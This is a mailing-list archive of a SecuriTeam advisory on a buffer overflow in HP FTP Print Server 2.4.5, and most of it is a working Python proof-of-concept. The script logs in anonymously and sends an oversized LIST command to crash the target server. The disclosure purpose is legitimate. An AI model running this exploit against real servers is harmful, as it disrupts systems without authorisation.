[EXPL] Hewlett-Packard FTP Print Server Buffer Overflow (PoC)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 21 Dec 2006 15:58:30 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Hewlett-Packard FTP Print Server Buffer Overflow (PoC)
------------------------------------------------------------------------
SUMMARY
A vulnerability in Hewlett-Packard FTP Print Server application allows
remote code execution.
DETAILS
Vulnerable Systems:
* Hewlett-Packard FTP Print Server version 2.4.5 and prior.
PoC:
#!/usr/bin/python
import sys
from ftplib import FTP
print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow
(POC)"
print "Copyright (c) Joxean Koret"
if len(sys.argv) == 1:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(0)
target = sys.argv[1]
print "[+] Running attack against " + target
try:
ftp = FTP(target)
except:
print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
sys.exit(0)
try:
msg = ftp.login() # Login anonymously
print msg
except:
print "[!] Error logging anonymously.",sys.exc_info()[1]
sys.exit(0)
buf = "./A"
iMax = 9
for i in range(iMax):
buf += buf
print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "
try:
print "[+] Please, note that sometimes your connection will not be
dropped. "
ftp.retrlines("LIST " + buf[0:3000])
print "[!] Exploit doesn't work :("
sys.exit(0)
except:
print "[+] Apparently exploit works. Verifying ... "
print sys.exc_info()[1]
ftp2 = FTP(target)
try:
msg = ftp2.login()
print "[!] No, it doesn't work :( "
print msg
sys.exit(0)
except:
print "[+] Yes, it works."
print sys.exc_info()[1]
ADDITIONAL INFORMATION
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Invision Community Blog Mod 1.2.4 SQL Injection
- Next by Date: [UNIX] Mono XSP ASP.NET Server Source Code Disclosure Vulnerability
- Previous by thread: [UNIX] Invision Community Blog Mod 1.2.4 SQL Injection
- Next by thread: [UNIX] Mono XSP ASP.NET Server Source Code Disclosure Vulnerability
- Index(es):